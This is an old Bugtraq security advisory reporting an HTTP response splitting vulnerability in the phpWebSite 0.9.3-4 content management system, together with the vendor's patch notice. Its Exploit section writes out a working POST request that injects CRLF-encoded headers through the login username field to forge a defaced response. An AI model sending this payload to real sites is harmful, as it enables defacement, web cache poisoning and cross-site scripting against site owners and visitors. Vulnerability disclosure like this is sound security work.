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Message-ID: <20041111195535.4FBBC3384C@ws7-3.us4.outblaze.com> Date: Thu, 11 Nov 2004 14:55:35 -0500 From: "Maestro De-Seguridad" <maestrodeseguridad@...os.com> To: bugtraq@...urityfocus.com Subject: security hole (http response splitting) in phpwebsite ADVISORY Author: Maestro (me!) Date: 11-NOV-04 Vendor: Appalachian State University (http://phpwebsite.appstate.edu/) Product: phpWebSite 0.9.3-4 Product description (from vendor website): phpWebSite provides a complete web site content management system. Web-based administration allows for easy maintenance of interactive, community-driven web sites. phpWebSite's growing number of modules allow for easy site customization without the need for unwanted or unused features. Client output from phpWebSite is valid XHTML 1.0 and meets the W3C's Web Accessibility Initiative requirements. phpWebSite is written in the PHP Programming Language, making it ideal for developers to write customized modules. Problem: Http response splitting (web cache poisoning, xss, yadayadayada) - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf Exploit: POST /index.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-length: 218 Connection: Keep-Alive module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}This site in 0wned{/html}&password=foobar (replace curly braces with lessthan and greaterthan) Vendor status: The vendor fixed this problem (11-NOV-04). From vendor security mail list: A security vulnerability was brought to our attention recently and we have posted a patch to resolve this issue. The patch can be downloaded from here: http://phpwebsite.appstate.edu/downloads/security/phpwebsite-core-security-patch2.tar.gz md5sum: fcefda44a8d691c844593d815479a1ce This patch should only be applied to versions 0.9.3-2 or greater. All you need to do is untar the file in the base directory of your phpwebsite install. -- _______________________________________________ Find what you are looking for with the Lycos Yellow Pages http://r.lycos.com/r/yp_emailfooter/http://yellowpages.lycos.com/default.asp?SRC=lycos10
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